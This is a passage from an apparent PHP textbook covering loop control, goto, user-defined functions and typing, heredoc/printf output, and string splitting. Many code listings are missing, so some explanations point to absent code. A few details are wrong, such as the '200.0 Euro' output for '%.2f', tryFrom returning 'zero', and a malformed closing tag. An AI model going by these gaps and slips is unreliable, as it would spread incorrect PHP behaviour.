in this case. This means that the while loop can be used flexibly across several PHP
blocks in a similar way to curly brackets.
<?php
$i = 1;
while ($i < 10):
?>
<p>Output: <?=$i ?></p>
<?php
$i++;
endwhile;
?>
<?php
$i = 1;
while (true) {
if ($i < 10) {
echo "$i<br />";
$i++;
} else {
break;
}
}
?>
This is a provoked infinite loop that ends with break. It outputs the numbers from 1 to
9. Alternatively, you could write break with a number that indicates how many loops
are exited from the inside to the outside. Thus,
break 1;
corresponds to
break;.
However, if you now nest several loops or additionally nest a switch case statement,
you can also specify higher values to exit the nesting. The following example shows a
while loop that would actually output the numbers from 1 to 9. The switch statement is
used to check two additional cases for the product of the number with 2. If the product
is 10, then only the switch statement is exited (and the check is not performed again
until the next loop pass). However, if the product is 16, then the break statement exits
the switch case differentiation (number 1) and the while loop (number 2). This means
that the 9 is no longer output (see Figure 5.25).
<?php
$i = 1;
$j = 2;
while ($i < 10) {
echo "$i";
switch ($i * $j) {
case 10:
echo " * $j = 10";
break;
case 16:
echo " * $j = 16";
break 2;
}
echo "<br />";
$i++;
}
?>
Used slightly less frequently than break, continue interrupts the loop pass, but then con-
tinues with the next pass. The following example illustrates this. Here, the numbers
from 1 to 9 are output. If a number is divisible by two,8 the pass statement is increased
and then the next loop pass is started with continue. The statements after this are
ignored. For odd numbers, however, the condition is not fulfilled, the part with continue
is ignored, and the pass-through statement and the odd number output are executed (see
Figure 5.26).
Figure 5.26 In This Example, the "Odd Number" Is Only Output if "continue" Was Not Used
Beforehand
<?php
$i = 1;
while ($i < 10) {
echo "<br />$i";
if ($i % 2 == 0) {
$i++;
8 Divisibility by 2 is given if the modulo, the integer remainder of the division by 2, is equal to 0. This
test is used quite frequently. Be careful: this simple test would also recognize 0 as an even number!
continue;
}
$i++;
echo " odd number";
}
?>
continue, like break, can also be given a numerical value, which, in the case of nested
loops or switch statements, tells you which loop to continue with. The following exam-
ple shows this using two nested loops (see Figure 5.27).
<?php
for ($i = 1; $i <= 10; $i++) {
echo "Row $i: ";
$j = 1;
while (true) {
echo $j * $i . " ";
$j++;
if ($j > 5) {
echo "<br />";
continue 2;
}
}
}
?>
break and continue also work with the other loop types exactly as explained here. In
practice, they are most frequently used with while.
Note
When used in constructs where switch is used within the loop, the use of continue
without an associated loop number will generate a warning as of PHP 7.3 (see Figure
5.28), as only the switch would exit, but not the loop.
5.3.3 "do-while"
The last type of loop to be introduced here is do-while. In principle, it works like the
while loop with the only exception that the condition is always checked after the loop
has been executed. This means that the statements are executed at least once:
do {
statements;
} while (condition)
The following example shows the usual loop that outputs the numbers from 1 to 9.
<?php
$i = 1;
do {
echo "$i<br />";
$i++;
} while ($i < 10)
?>
So far, there is no observable deviation from the normal while loop. It only becomes
unusual if the condition is not fulfilled from the start. In this case, the statement block
is executed at least once.
$i = 11;
do {
echo "$i<br />";
$i++;
} while ($i < 10)
In the example, do-while outputs 11 at least once (see Figure 5.29), although the condi-
tion is not fulfilled. This behavior is rarely needed, but if you do need it, remember the
do-while loop.
Figure 5.29 Although the Condition Is Not Fulfilled, "do-while" Outputs "11" Once
Note
do-while has no short forms, but you can use break and continue with do-while.
5.4 Jumps
Jumps in the code flow is a function that is not used very often in PHP. The goto opera-
tor was introduced in PHP 5.3 and is very easy to use: You insert a marker. The name is
freely selectable and is supplemented with a colon. You then call the tag with goto tag
name. All code in between is skipped. In the following example, output 1 is ignored, and
then output 2 is displayed (see Figure 5.30).
<?php
goto marker;
echo 'output 1';
marker:
echo 'output 2';
?>
Note
goto does not allow a jump to a loop or switch case differentiation. This would gener-
ate a fatal error.
Functions are, simply put, collections of statements. You either write these collections
yourself, or they are supplied by PHP or one of the infinite number of PHP extensions.
A language construct is quite similar to a function specified by PHP. However, you can
omit the round brackets typical for functions in a language construct.
6.1 Functions
Functions are easy to use. Two steps are necessary:
쐍 You must define the function (also known as declaring it). This is not necessary with
a PHP function; it is already defined there.
쐍 You must then call the function, as it is only executed when it is called.
function Name() {
statements;
}
The function keyword is followed by the function name. The round brackets are charac-
teristic of functions. This is also where the parameters are placed (Section 6.1.1). The
curly brackets contain the statements. You are already familiar with this type of state-
ment block from case distinctions and loops. To call a function, use its name and the
round brackets:
Name();
In the following simple example, the function outputs a record when it is called (see
Figure 6.1).
<?php
function output() {
echo "This is a function.";
}
output();
?>
Note
Function names follow the same rules as variable names but are not case-sensitive.
Otherwise, they may only consist of letters, numbers, and underscores and must begin
with a letter or an underscore.
6.1.1 Parameters
Functions resemble black boxes. The functionality is contained in the statements
within the function. The external caller does not need to know exactly what the state-
ments look like, but they should be able to pass information to the function. This works
with parameters.
You write the parameters in the function between the round brackets. The parameter
names are treated like variable names and are available within the function:
When you call the function, you must pass values for the parameters to the function:
Name(Value1, Value2);
Here is a small example. The following script receives two parameters. These parame-
ters are then output. The call then passes two strings for the parameters (see Figure 6.2).
<?php
function output($par1, $par2) {
echo "Parameter 1: $par1<br />";
Note
As of PHP 7.3, the parser allows a comma after the last specified parameter in function
and method calls—a so-called trailing comma. The following call therefore would not
lead to a parser error, although it looks rather ugly:
output("Hello", "World",);
As of PHP 8, this is also permitted when defining parameters in methods and func-
tions:
function output($par1, $par2,) {
Even if it still doesn't look very nice, it allows you to simply copy and paste long param-
eter lists (which can be spread over several lines), making life a little more flexible.
Default Values
If it is not clear whether a value is always passed for a parameter, you can also specify a
default value for the parameter.
<?php
function output($par = "Default") {
echo "Parameter value: $par<br />";
}
output();
output("Exclusive");
?>
The default value is then used each time the function is called without the respective
value (see Figure 6.3). A default value can be a value or a constant. You can also set the
default value to NULL—that is, no value. This means that an error does not occur if the
parameter value is not set when the function is called, but the parameter itself is not set
either.1 You can use this construct to simulate a type of overloading—that is, passing
different numbers of parameters. However, this is really only an auxiliary construct.
Figure 6.3 The Default Value Appears at the Top, the Transferred Value at the Bottom
Note
If you use more than one parameter, you must write the parameter(s) with default val-
ues at the end:
function output($par1, $par2 = "Default2") {
echo "Parameter value 1: $par1<br />";
echo "Parameter value 2: $par2";
}
output("Exclusive1");
This is logical if you remember that PHP needs to know which variable the passed
parameter is to be used for.
Note
Passing too many parameters is often referred to as overloading. However, overloading
in the object-oriented sense implies that different functions are available for different
numbers of parameters. This is not the case.
1 Not set here means that a test with isset() fails. More on this follows in Section 6.1.9 .
<?php
function flexible($a, ...$params) {
$elements = count($params);
echo $elements . '<br />';
echo $params[0] + $params[2];
}
flexible(0, 1, 2, 3);
?>
Four parameters are passed when the function is called. The first value 0 is the value of
the defined parameter $a. The other three parameters are created as an array in
$params. As this is a normal array, you can then use the count() array function to deter-
mine the number of elements (see Figure 6.4) and use the index to access the individual
parameter values.
Figure 6.4 The Number of Parameters and the Result of a Simple Arithmetic Operation
In earlier PHP versions, however, it was already possible to work with too many param-
eters. The associated functions have existed since PHP 4 and are still valid:
쐍 func_num_args() returns the number of passed elements as the return value—
regardless of whether there is a parameter for it or not. The following script there-
fore outputs 1.
function func() {
$elements = func_num_args();
echo $elements;
}
func("Test");
function func() {
$elements = func_get_args();
echo $elements[0];
}
func("Test");
쐍 func_get_arg(index) allows you to access an element directly without the detour via
the array. The function returns the value of an element that is marked with the
index. The first parameter has the index 0.
function func() {
$element = func_get_arg(0);
echo $element;
}
func("Test");
Named Parameters
Named parameters or named attributes are a new option since PHP 8 to directly assign
a value to individual parameters in the call of a function without having to adhere to
the specified order or define all optional parameters up to the desired parameter.
The latter is illustrated by the example from the PHP 8 innovations using the htmlspe-
cialchars() PHP function. In the documentation, the function has four attributes:
If you now want to change the fourth parameter for htmlspecialchars(), but not the
two before it, then simply access the fourth parameter, $double_encode, directly with
the named parameter:
To do this, we write the variable name of the parameter without $ and the value for the
parameter after a colon. The only order to be followed is this: first the unnamed param-
eters, then the named ones. And, of course, mandatory parameters—those without a
default value—must not be missing.
This application example uses named parameters in the context of a function already
defined by PHP. However, the same also works with your own functions and with
methods of objects. To do this, it is sufficient to define the function in the classic way
with variables:
When calling the function, first define the unnamed parameters in the order defined in
the function. Here, the value hello is therefore for $par1. The named parameters then
follow in a flexible order:
Figure 6.5 The Output with Named Parameters: the Call Sequence Is Irrelevant Here
Note
Of course, named parameters allow parameters to be swapped wildly in the function
call. However, this is not recommended for a clean code structure. The focus here is
more on not having to define optional parameters unnecessarily, instead only passing
the values to be changed cleanly.
<?php
$global = "Global";
function output() {
$global = "Global-Local";
$local = "Local";
echo "$global $local<br />";
}
output();
echo $global . $local;
?>
Figure 6.6 Local Variables Only Apply within the Function and Global Variables Only Outside
"global"
If you want to use a global variable in a function, you must explicitly define it with the
global keyword. This lets the PHP interpreter know that it has to get the global variable
(see Figure 6.7).
<?php
$global = "Global variable";
function output() {
global $global;
echo $global;
}
output();
?>
Note
Once set, you can also change the value of the global variable. However, global vari-
ables with global are rarely used in practice.
Figure 6.7 You Now Have Access to the Global Variable within the Function.
"$GLOBALS"
The $GLOBALS array contains all global variables. You can use it to access global variables
or change their value from anywhere.
<?php
$global = "Global variable";
function output() {
echo $GLOBALS["global"];
}
output();
?>
function Name(Parameter) {
Statements;
return ReturnValue;
}
You then have to do something with this return value. You can, of course, output it
immediately. However, you will usually save it in a variable:
$Variable = Name(Parameter);
Note
Anyone who has programmed with Pascal knows the exact distinction. A function
without a return value is actually a procedure. There are some languages that use dif-
ferent keywords for procedure and function (e.g., Visual Basic). In PHP, however, this
distinction is meaningless. That is why we generally speak of functions.
The next listing shows a simple example. The function receives a parameter, adds a
string, and returns it. The return is then output.
<?php
function output($par) {
return "Hello $par";
}
$return = output("world");
echo $return;
?>
Tip
Functions, and especially those with a return value, only develop their full effect when
they contain more complex statements and are used several times.
<?php
function multiplication($a) {
$products = [];
for ($i = 1; $i <= 10; $i++) {
$products[$i] = $a * $i;
}
return $products;
}
$result = multiplication(2);
foreach ($result as $ele) {
echo "$ele<br />";
}
?>
Return a Reference
You can receive the return of a function as a reference. To do this, enter the ampersand
in the function name and when calling the function.2
<?php
$authors = ["tobias", "christian"];
This variant is useful if you receive larger arrays or objects back from the function. As
only the reference and not the array or object itself is passed (see Figure 6.9), this
method improves performance.
Figure 6.9 The Second Element of the Array Changes as the Function Was Called as a
Reference
2 It is also possible to pass a parameter to a function as a reference. In newer PHP versions, however,
this is no longer recommended and a warning is issued.
<?php
function output($par) {
echo "Hello $par";
}
$functionname = "output";
$functionname("PHP 8.3");
?>
Note
To test whether a variable contains a callable function, you can use the is_call-
able(Variable) function. It returns a truth value.
Although this functionality is quite exciting, it has two disadvantages: First, perfor-
mance suffers a little, as PHP always has to check whether a variable with round brackets
is a function first. Second—and this is the much more serious disadvantage—the code
becomes quite confusing due to this construct. For this reason, the functionality is only
used in practice in special cases, such as when sorting with a separate function using
usort().
<?php
$output = function($parameter) {
echo 'My ' . $parameter . '<br />';
};
$output('Output 1');
$output('Output 2');
?>
Note
As mentioned, anonymous functions can be used in other function calls. There they are
so-called callback functions. One example is sorting with usort(). However, anony-
mous functions can also be used in the call of a function via call_user_func().
Anonymous functions can also be used within other functions. In this case, you can use
the use keyword to assign variables to the anonymous function, which are then avail-
able within the function.
<?php
function output($separator) {
$address = 'My ';
$func = function($parameter) use ($address, $separator) {
echo $address . $parameter . $separator;
};
$func('Output 1');
$func('Output 2');
}
output('<br />');
?>
Tip
The options for overloading functions using func_num_args(), func_get_arg(), and
func_get_args() are also available in anonymous functions.
Note
Since PHP 5.6, use can also be used for functions and constants. Since PHP 5.4, you can
also use $this within closures, but only if the anonymous method is part of a class.
<?php
function factorial($i) {
if ($i > 0) {
return $i * factorial($i-1);
} else {
return 1;
}
}
echo factorial(5);
?>
You could have achieved the same result with a loop, as in the next example.
$result = 1;
for ($i = 5; $i > 0; $i--) {
$result *= $i;
}
echo $result;
The recursive function is considered elegant in some cases, and many computer scien-
tists greatly appreciate recursive programming. However, it is often more difficult to
read—especially for those who have not written the script.
4 The factorial is also often written as n! and calculated with n * (n - 1) * (n - 2) * ... * 1. The
factorial is used in combinatorics, for example.
Generators
Generators are basically functions that are used in a foreach loop and return not just
once, but several times. Instead of return, the yield keyword is used.
The following example defines a function that adds the numbers between a start and
an end number. The increment can be selected via a separate parameter. All partial
results of a loop are returned via yield.
<?php
function add($start, $end, $step = 1) {
if ($start < $end) {
$result = 0;
for ($i = $start; $i <= $end; $i += $step) {
$result += $i;
yield $result;
}
}
}
In the example, the results are output directly (see Figure 6.12). However, they could
also be used to fill an array directly, for example. The advantage of the generator is that
you can iterate over data without having to store all the data in an array. The latter can
fill up the working memory with large amounts of data.
Static Variables
A local variable—that is, a variable that only exists within a function—is reset each
time the function is called. This is why the counter had to be passed as a parameter in
the example with the factorial from the last section.
However, you can also create a local variable as a static variable with the static key-
word. In this case, the value of a variable is retained after each function call. The facto-
rial can also be implemented without parameters, as in the next example.
<?php
function factorial() {
static $i = 3;
if ($i > 0) {
return $i-- * factorial();
} else {
return 1;
}
}
echo factorial();
?>
Note
In PHP, static variables are processed during compilation. A static variable can there-
fore receive the value of another variable as a reference. In this case, the original
changes accordingly.
<?php
function sum(int ...$a): int {
return array_sum($a);
}
$result = sum(1, '2', 3.7);
var_dump($result);
?>
Listing 6.22 Type Declaration for Parameters and Return Value ("typedeclaration.php")
Note
The type conversion from float to int is not rounded; instead, the decimal places are
discarded! Therefore it is deprecated.
Figure 6.13 Thanks to Type Conversion, The Output Returns an Integer with the Value "6" –
But Also Shows It's Deprecated
If you vary the script shown previously and use float instead of int for the parameters
and for the return, then 6.7 is output as float (see Figure 6.14):
Figure 6.14 If "float" Is Specified for Parameter and Return, the Result Is "6.7"
Strict Typing
By default, PHP converts the type automatically. However, this can sometimes lead to
errors in your own programming, which are difficult to find in debugging. For this
reason, it is also possible to insist on strict type handling. The setting for this is made
using the declare() function. In the next example, the value of strict_types is set to 1.
<?php
declare(strict_types=1);
There are various errors in this script. First, the second parameter is a string; second,
the return is not correctly declared as a string. However, PHP only ever reports the first
type error (see Figure 6.15). The error that is "thrown" is therefore a fatal error of the type
TypeError.
Figure 6.15 The "TypeError" First Jumps to the Wrong Parameter Type
Sensitive Parameters
Sensitive parameters are new in PHP 8.2. They prevent the output of function parame-
ters, such as in a debug message. This function is intended for critical or personal data
such as passwords. These should be marked and are then no longer output in error
messages.
<?php
function password_edit(string $password): string {
throw new Exception('Error');
return md5($password);
}
try {
$result = password_edit("Secret password");
} catch (Exception $e) {
echo $e;
}
echo '<br /><br />';
Figure 6.16 The Password Is Displayed in the Error Message at the Top and Overwritten at the
Bottom
<?php
function output(string $a): void {
echo $a;
return;
}
$result = output('output<br />');
var_dump($result);
?>
Note
Returning a null value with return null; would not work with the void type; it
would lead to a fatal error.
<?php
function sum(int ...$a): ?int {
$result = array_sum($a);
if ($result > 3) {
return $result;
} else {
return null;
}
}
$result = sum(1, 2);
var_dump($result);
?>
Listing 6.26 The "null" Case Has Been Taken into Account in the Type Declaration
("typedeclaration_null.php")
The result of the output is not an error, but the output of the string NULL.
Note
Since PHP 8.2, null, false, and true are also independent data type options for func-
tion returns.
Union Types
Union types are the extension of single types and have been on board since PHP 8. A sin-
gle type is nothing more than a type declaration with one type, such as int or float.
Accordingly, union types simply consist of several types, such as int and float. The dif-
ferent types are simply separated from each other in the notation by |.
To test this, you should activate strict typing:
declare(strict_types=1);
In the function declaration, we then select the three different data types—int, float,
and string—for the possible parameters. The return in turn is made with the int and
float data types:
In the example, we also mix all three permitted types in the call:
The output is displayed as float at the end. The complete example is shown in the fol-
lowing listing.
declare(strict_types=1);
function sum(int|string|float ...$a): int|float {
return array_sum($a);
}
$result = sum(1, '2', 3.7);
var_dump($result);
Note
Since PHP 8, it is already possible to define null as one of the types in a union type dec-
laration. This is a syntactic alternative to the type declaration with the preceding ?
from the previous section. This means that int|null corresponds to ?int.
The DNF types extend PHP from version 8.2 with the option of combining union types
and intersection types. Here, an intersection type is one of several options within a
union type. In the following example, the return of the function can therefore be an
integer, a string, or an object of type1 or type2:
array|bool|callable|int|float|object|resource|string|null
The following example shows this for our example function for adding up parameters.
Tip
Because PHP automatically allows any type in PHP 8 even when the type declaration is
omitted, the question arises as to why mixed is necessary at all. There is a fundamental
decision behind this: if you consistently use typing, there are still sometimes cases in
which you cannot or do not want to specify the type. In this case, you use mixed to mark
precisely these occurrences.
<?php
function output(string $a): never {
echo $a;
exit();
}
$result = output('output');
?>
Listing 6.30 Type Declaration for a Function Return with "never" ("never.php")
Note
If exit() was missing in the preceding script, the result would be a fatal error.
6.1.8 Enumerations
Enumerations, often referred to as enums for short, are lists that specify which values
are possible for a parameter, a return value, or another type of datum. In development,
they also occur at the database level and describe which values a data field can take.
They have been available in PHP since version 8.1. They are mainly used in object-ori-
ented development but can also be used for function types.
The notation is very simple. The keyword is enum, followed by the name. The individual
values are declared with the case keyword:
enum values
{
case case1;
case case2;
case case3;
case case4;
}
$value = values::case3;
Used completely, it looks like the following. The enum is specified as a type in the func-
tion call for the respective function parameter:
The parameter can then be used in the function. In the following simple example, a
switch case distinction accesses the individual values and executes an output in each
case.
<?php
enum values
{
case case1;
case case2;
case case3;
case Case4;
}
$value = values::case3;
output($value);
?>
To access the correct case with the scalar values, PHP offers two methods for enums:
쐍 from(value) returns the matching enum case for the scalar value. If the value does
not exist, PHP throws a ValueError.
쐍 tryFrom(value) does basically does the same thing, except that it returns zero if a
value does not exist. This variant is therefore suitable if, for example, unreliable val-
ues can also come from the data source and a separate error handling function is to
be implemented.
<?php
enum values : int
{
case case1 = 1;
case case2 = 2;
case case3 = 3;
case case4 = 4;
}
$value = values::from(2);
output($value);
?>
Test Functions
If you use functions, you should also check whether a function exists, especially for
more extensive scripts. This is also important if you are using an external function
from a library, for example.
The simplest approach would look like this:
if (output()) {
echo output();
}
Unfortunately, this check fails if the function does not exist (see Figure 6.18). In this
respect, it is unacceptable.
if (function_exists("output")) {
echo output();
}
Tip
You can also test the data type with the exact equality for strings:
if (function_exists("output") && output() === "") {
echo output();
}
"isset()"
The isset(Parameter) function is already familiar to you from variables. It checks
whether a variable has been declared. You can also use this function within functions
for their parameters. For parameters that have the value NULL (no value), isset() sees
them as not set and therefore returns false. An empty string (""), on the other hand, is
set.
The preceding script returns hello without parameters, as the parameter has not been
set and therefore the default value NULL is used.
Note
Caution: If the default value is not set to NULL, then the PHP interpreter will generate a
warning because the parameter does not exist!
"create_function()"
The create_function(parameters, statements) helper function is only available up to
PHP 7.3. In PHP 8, it has been abolished as the anonymous functions provide a useful
alternative. This means that even with older PHP versions it is better not to use it.
If you stumble across the function in old code, you will usually see it being used when
dynamically creating a function without a function name (see Figure 6.19). This proce-
dure is also called lambda style. Dynamically created functions are useful if code or
parameters are to change during program execution (runtime).
<?php
$function = create_function('$par', 'echo "Hello " . $par;');
$function("World");
>
"call_user_func()"
The call_user_func(function name, parameter1, parameter2) auxiliary function is
used to call a function.
The preceding script outputs the correct result, 3. call_user_func() is used mainly
when parameters need to be formed dynamically.
In addition, there is also call_user_func_array(function name, parameter array). With
this auxiliary function, all parameters are stored in an array instead of being separated
by commas.
Note
The PHP functions themselves are also constantly being developed further. Here are
just two examples: Since PHP 5, many extensions have (also) been converted to object-
oriented operation. They then access the functionality via objects, methods, and prop-
erties. With PHP 8, the error handling of typing errors for PHP's own functions was—in
some places—finally standardized to the TypeError error.
First comes the function name. The parameters follow in round brackets. Each param-
eter is preceded by the data type that the function expects. mixed stands for any data
type.
Optional parameters, parameters that do not necessarily have to be set, are listed in the
documentation with their respective default values. These can be simple values or, as
in this example, constants or function calls.
At the end, there is an abbreviation for the data type that the function returns. For
isset(), this is a Boolean (bool). The special data type void indicates that a function has
no return or does not expect a parameter.
Tip
If you enter the function name directly after php.net/—for example, php.net/html
specialchars—then you will be taken directly to the documentation for the respective
function.
echo "Test";
is just as possible as
echo("Test");.
<?php
$functionname = "echo";
$functionname("test");
?>
Figure 6.21 The Call to the "echo()" Function Fails because It Is a Language Construct
And even beyond these two points, which always apply, language constructs have
some special features. For example, echo() can accept several parameters, such as
or
However, this fails if the parameters are enclosed in round brackets (see Figure 6.22):
Tip
Finally, it is less important for you to know whether you are dealing with a language
construct or a function. You need to know how the respective command works and
which parameters it expects. You will get to know many more functions and also some
language constructs in the course of this book as you explore the various tasks of a web
developer.
Some language constructs are used for output. These include echo() and print(). Both
were introduced at the very beginning of Chapter 4. Now you will get to know some
variants and their somewhat less frequently used colleagues.
6.2.1 "heredoc"
For longer strings, PHP provides the heredoc syntax, which originally comes from Perl.
And this is how it works: You start a heredoc string with <<<.5 This is followed by a
unique name. At the end, the string is terminated with this name in a new line.
The name is followed by a semicolon. You can save such a string in a variable, for exam-
ple, and then process or output it as required (see Figure 6.23).
<?php
$test = <<<HERE
Content of the heredoc text
spread over several lines
and expanded.
HERE;
echo $test;
?>
Figure 6.23 The Breaks Have Disappeared in the Browser but Are Still Visible in the Source
Text
Note
The beginning and end of the heredoc string must consist of the same word with the
same spelling. Note that a distinction is made between upper- and lowercase.
Until PHP 7.2, it was mandatory for this closing name to be at the beginning of the line
and followed by a semicolon. Any type of character and spaces around the name are
prohibited.
Since PHP 7.3, this is no longer so restricted: spaces can occur, and the semicolon can be
omitted. However, there are also a few catches: first, indentation is only permitted if
the string content above it is also indented; second, it is very important that the name
itself is not part of the content as otherwise a parser error will occur. Take a look at the
following example:
<?php
$test = <<<Content
echo $test;
?>
In this example, the heredoc is called Content, and this name appears in the very first
line of the string. Everything that follows leads to a parser error (see Figure 6.24) as the
string is terminated for PHP after the second occurrence of the name.
Figure 6.24 Parser Error: the Name Already Appears in the Content
Within the heredoc string, you can use all escape sequences that are also permitted in
double quotation marks. The values of variables are also inserted into the string.
6.2.2 "nowdoc"
Very similar to heredoc is the nowdoc syntax. The only difference is that it does not react
like a string with double quotation marks, but like a string with single quotation marks.
This can also be seen in the syntax itself. This is exactly the same as for heredoc, except
that the keyword at the beginning is enclosed in single quotation marks.
<?php
$test = <<<'NOW'
Content of the nowdoc text
spread over several lines
and expanded.
NOW;
echo $test;
?>
No variables can be inserted in the nowdoc string, corresponding to the single quotation
marks. Everything that ends up in the string is output directly. Otherwise, the behavior
does not differ. The end of the string must be specified with the same keyword as the
beginning, but without quotation marks. And here too, you must observe upper- and
lowercase distinction. Until PHP 7.2, the end of the string must also follow on a separate
line without indentation and with a semicolon directly after it.
<?php
$sum = 200;
$format = "%d Euro";
printf($format, $sum);
?>
200 Euro
If you use several parameters, you can number the placeholders so that you always use
the correct parameter (see Figure 6.25).
<?php
$sum1 = 200;
$sum2 = 400;
$format = "%2\$d euros are more than %1\$d euros";
printf($format, $sum1, $sum2);
?>
In addition to the numbers for the parameter position and the conversion type, there
are other elements that you can specify after the percentage sign. These are, in order:
쐍 First, you can enter a 0 or a space. This indicates what will be inserted if you have
specified a minimum required width for a placeholder. Caution: the minimum
width is only the third parameter! If you do not set the first parameter, spaces are
automatically used.
쐍 The next character is a minus sign (-). If it is present, it ensures alignment to the left.
If it is omitted, the alignment is to the right. The alignment is also only relevant if the
parameter has fewer characters than the minimum characters permitted.
쐍 Next comes a number with the minimum number of characters. However, this entry
is optional. In this case, the first two settings are of course also omitted.
쐍 The fourth position consists of a decimal point and a number. It specifies the preci-
sion of the decimal places for numbers. This specification is also optional.
쐍 You already know the fifth position. This is the type to be converted to (see Figure
6.26):
– s stands for a string.
– b stands for a binary number.
– c converts an integer into an ASCII number.
– d or I stands for an integer, displayed as a decimal number.
– e or E is the scientific notation of numbers, such as 2.5e+4.
– f represents a floating-point number.
– g or G is a double, displayed as a floating-point number.
– h or H is new in PHP 8 and corresponds to g or G with one difference: in the display
of the floating-point number, do not consider the local settings for the string con-
version.
– o generates a number in octal notation.
– u is an integer that is represented as an unsigned integer.
– x represents a number in hexadecimal notation with lowercase letters.
– X represents a number in hexadecimal notation with uppercase letters.
$sum = 200;
$format = "%07.2f";
printf($format, $sum);
0200.00
A 0 is inserted at the beginning as the minimum width is 7 and zeros are used instead
of spaces for padding. Two decimal places are inserted after the decimal point. The data
type is converted to a floating-point number.
sprintf(default string, parameter) is closely related to printf(), but it returns the
result—namely, the formatted string—as the return value.
$sum = 200;
$format = "%.2f Euro";
$result = sprintf($format, $sum);
echo $result;
The preceding lines provide the following string as the value for the $result variable,
which is then output:
200.0 Euro
Note
The functions mentioned here also include vsprintf(Format, Array) and
vprintf(Format, Array). They convert an array with arguments into a string with the
specified format.
<?php
$days = array("Monday", "Tuesday", "Wednesday");
print "print_r: ";
print_r($days);
Figure 6.27 In Contrast to "print_r()", "var_dump()" Also Shows the Data Types and the
Number of Array Elements
If you specify true as the second parameter for print_r(), you will receive the informa-
tion about the variable or expression as the return value. This is useful if you do not
want to send the output to the browser immediately:
Note
As another special feature when dealing with objects, var_dump() only outputs public
properties of objects. var_export() and print_r() also output private and protected
properties. var_export() has another advantage: it returns reusable PHP code if you
specify true as the second parameter.
A large percentage of all data ends up as a string, whether as the return value of a func-
tion or as input from the user. A look at the online documentation of PHP takes your
breath away at irst. The list of functions for string manipulation is endless (http://
s-prs.co/v602266). But don't worry, here you will find examples and explanations for
the most important string manipulations.
Note
If you need even more power, you should take a closer look at regular expressions. PHP
takes over the functionality of Perl here; you can read more about this in Chapter 10.
Some of the string functions also require knowledge of arrays, which you can find out
more about in Chapter 8. We have nevertheless put strings first, as arrays are logically
based on them and string handling also plays a role in arrays.
7.1 Connect
Joining strings is also called concatenation in programming jargon. Strings are therefore
concatenated. This is done in PHP with the dot (.). You have already used this many
times and/or read about it in Chapter 5. However, the details are still of interest here:
What actually happens when a string is concatenated with other data types? This is not
a problem at all in PHP because, as the dot is reserved specifically for string operations,
PHP always converts the data types into strings beforehand. This means that the code
$a = 20;
$b = " euros";
echo $a . $b;
correctly displays 20 euros. The following code, on the other hand, shows what?
$a = 20;
$b = 40;
echo $a . $b;
That’s correct: both integers are converted into a string. The result is therefore 2040.
Note
Since PHP 7.1, it is possible to access strings with a negative offset. offset. This means
that PHP counts forward from the end of the string if a negative number is specified.
The code
$text = "Example string";
echo $text[-6];
therefore returns s as the result.
<?php
$a = "PHP CMS SHOP";
echo chunk_split($a, 4, "<hr />");
?>
The only problem with this function is that the fill string, as shown in Figure 7.1, is
inserted after each division—that is, also at the end. If you do not want this, you must
cut off the last characters. You can do this with the substr(String, start position,
number of characters) function. Simply enter 0 as the start position for truncation—
that is, the beginning of the string. Select a negative value as the number of characters.
So that you do not always have to adjust this manually to the length of your separator
string, determine its length with the strlen(String) function.
<?php
$a = "PHP CMS SHOP";
$sep = "<hr />";
echo substr(chunk_split($a, 4, $sep), 0, -strlen($sep));
?>
parameters are optional except for the string itself. The length specifies after how
many characters the break is inserted. If you omit it, the system automatically breaks
after 75 characters. The separator is a string that is inserted at the position of the break.
If you omit it, PHP inserts a line break with \n. The truncate parameter determines
whether individual words are truncated (true). This is deactivated by default (false).
Note
If you activate truncation, then wordwrap() works in the same way as chunk_split().
In the following script, breaks are inserted in the string after every three characters.
However, as whole words are retained, the separation only occurs for the individual
words PHP, CMS, and SHOP.
<?php
$a = "PHP CMS SHOP";
echo wordwrap($a, 3);
?>
You won't see anything in the browser in this example. Why is that? The wrapping is
done with \n, so you can only see it in the source text (see Figure 7.3). HTML does not
recognize \n and ignores it.
You could now simply enter <br /> as the separator.
Or you can use the nl2br(String) function. It converts all breaks in a string with \n into
breaks with the <br /> HTML tag.
<?php
$a = "PHP CMS SHOP";
echo nl2br(wordwrap($a, 3));
?>
Figure 7.4 shows the view in the browser. By the way, nl2br() receives the breaks with \n
in the source code or in the string.
Note
Closely related to wordwrap() is str_word_count(String), which counts the number of
words in a string. However, this function can also divide the words into an array.
Divide Evenly
To divide strings evenly into strings, the easiest way is to use substr() and strlen() in
conjunction with variable variables.2
And this is how it works: The loop contains two counter variables, $i for the steps and for
the respective start position and $j for the variable variable name. strlen() determines
1 This happens from time to time in practice. However, you often want to save a string broken down
into individual parts in an array. This is what Section explains. Separators are used there to identify
the individual parts. You can also connect the functions shown there with chunk_str(). As you can
see, string handling is a complex field and not as boring as you might think.
2 See Chapter 4, Section 4.3.3.
the length of the string and thus determines when the last start position is reached. The
variable variable is formed from a string and $j as a number alone cannot be used as a
variable variable. The following example shows the script.
<?php
$a = "PHP CMS SHOP";
for ($i = 0, $j = 0; $i < strlen($a); $i = $i + 4, $j++) {
$name = "string" . $j;
$$name = substr($a, $i, 4);
echo $$name;
}
?>
<?php
$a = "PHP CMS SHOP";
echo "Part 1: " . strtok($a, " ") . "<br />";
echo "Part 2: " . strtok(" ") . "<br />";
echo "Part 3: " . strtok(" ");
?>
Of course, the whole thing also works with a loop (see Figure 7.5).
3 There’s a risk of confusion here! There are other functions for splitting a string into an array—ones
that are often more practical in reality—which you can find in Section 7.2.5.
$a = "PHP is great";
$i = 1;
$start = strtok($a, " ");
while ($start) {
$name = "part" . $i;
$$name = $start;
$start = strtok(" ");
$i++;
echo $$name . " ";
}
String to Array
Let's start simple. The explode(delimiter, string, limit) function splits a string into
an array at certain delimiters. If the optional Limit parameter is specified, only as many
array elements are created as the limit specifies. The last array element contains the
rest of the string regardless of its length.
Consider the following simple example. First, the script splits the string at each space
and then outputs the individual elements of the array.
<?php
$a = "PHP is great";
$strings = explode(" ", $a);
foreach ($strings as $element) {
echo $element . "<hr />";
}
?>
But what if, for example, you want to take several separators into account? In this case,
there are a few other approaches, which are explained in more detail in the following
sections.
Custom Functions
It is often best to quickly write your own function, especially for separating. You can
find some of these in the PHP documentation, especially in the useful user comments.
We will show our own example, which we have also used in practice. The following
function takes an array with separators and separates a string using these. All separa-
tors are then replaced using str_replace(To replace, replacement, string) with the
first separator of the array. The string is then separated using this separator with
explode().
Now there is only one problem: If two separators follow one another in the string, then
an empty array element is created. We filter all empty elements with the array_
filter(Array, function) function. If the function returns false, then the element is not
included in the array returned by the function.
Tip
Not a spectacular tip, but a truism that you should remember from time to time: Often
